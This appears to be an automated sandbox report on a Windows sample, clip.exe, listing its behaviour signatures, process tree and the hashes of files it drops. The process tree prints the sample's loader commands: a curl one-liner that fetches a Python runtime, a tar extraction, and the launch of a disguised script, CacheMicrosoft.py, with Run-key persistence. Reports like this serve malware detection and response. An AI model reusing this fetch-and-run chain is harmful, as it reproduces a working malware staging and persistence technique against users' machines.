Overview

overview

7

Static

static

3

clip.exe

windows10-2004-x64

7

clip.exe

windows11-ltsc_2024-x64

7

Analysis

  • max time kernel
    148s
  • max time network
    128s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 00:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    clip.exe
  • Size 391KB
  • Sample260930-akb7mawya1
  • SHA256 b9b62098f0f28d481a11ee160385ca64cab6b2de39edc77060f4b76d99b774d9
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
executionpersistence

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 12 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious use of WriteProcessMemory 5 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\clip.exe
    "C:\Users\Admin\AppData\Local\Temp\clip.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4128
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c curl.exe -L --fail --retry 2 --retry-delay 2 --connect-timeout 30 --max-time 600 -o "C:\ProgramData\PackageCache\python.zip" "https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4960
      • C:\Windows\system32\curl.exe
        curl.exe -L --fail --retry 2 --retry-delay 2 --connect-timeout 30 --max-time 600 -o "C:\ProgramData\PackageCache\python.zip" "https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip"
        3⤵
          PID:5684
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c tar.exe -xf "C:\ProgramData\PackageCache\python.zip" -C "C:\ProgramData\PackageCache"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3436
        • C:\Windows\system32\tar.exe
          tar.exe -xf "C:\ProgramData\PackageCache\python.zip" -C "C:\ProgramData\PackageCache"
          3⤵
            PID:4692
        • C:\ProgramData\PackageCache\pythonw.exe
          "C:\ProgramData\PackageCache\pythonw.exe" "C:\ProgramData\PackageCache\CacheMicrosoft.py" """C:\ProgramData\PackageCache\pythonw.exe"" ""C:\ProgramData\PackageCache\CacheMicrosoft.py""" "CacheMicrosoft"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          PID:2556
      • C:\ProgramData\PackageCache\pythonw.exe
        "C:\ProgramData\PackageCache\pythonw.exe" "C:\ProgramData\PackageCache\CacheMicrosoft.py"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:4328

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            CacheMicrosoft.py
            • Path C:\ProgramData\PackageCache\CacheMicrosoft.py
            • Size 78KB
            • SHA256 b071aadd6a6ae0ae4a2dc4550476d5e9a7b7c8da61052818cbeb358f0c08c0a8
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            VCRUNTIME140.dll
            • Path C:\ProgramData\PackageCache\VCRUNTIME140.dll
            • Size 106KB
            • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            _ctypes.pyd
            • Path C:\ProgramData\PackageCache\_ctypes.pyd
            • Size 121KB
            • SHA256 bc3b83d2dc9e2f0e6386ed952384c6cf48f6eed51129a50dfd5ef6cbbc0a8fb3
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            libffi-8.dll
            • Path C:\ProgramData\PackageCache\libffi-8.dll
            • Size 38KB
            • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python.zip
            • Path C:\ProgramData\PackageCache\python.zip
            • Size 10.5MB
            • SHA256 c87f000e3dae1a572e98e81daeb622f8bc6f22664093fc9c70989b5f0018d49b
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python3.DLL
            • Path C:\ProgramData\PackageCache\python3.DLL
            • Size 66KB
            • SHA256 1e9224ba7190b6301ef47befa8e383d0c55700255d04a36f7dac88ea9573f2fb
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python312._pth
            • Path C:\ProgramData\PackageCache\python312._pth
            • Size 80B
            • SHA256 2820f241bc9d6810d4db21c21cca3845799367fbdf0199620fb37c86a74b945c
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            python312.dll
            • Path C:\ProgramData\PackageCache\python312.dll
            • Size 6.6MB
            • SHA256 e7890e38256f04ee0b55ac5276bbf3ac61392c3a3ce150bb5497b709803e17ce
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            python312.zip
            • Path C:\ProgramData\PackageCache\python312.zip
            • Size 3.6MB
            • SHA256 6b53e0fd67a30a482941aa3a205811d8287c0b36399bfa9542d9070c3afaf2ae
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            pythonw.exe
            • Path C:\ProgramData\PackageCache\pythonw.exe
            • Size 99KB
            • SHA256 2198767147bdf67a45da63ad9a35900b4ca8e628fedca13873ae50cf5805c810
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download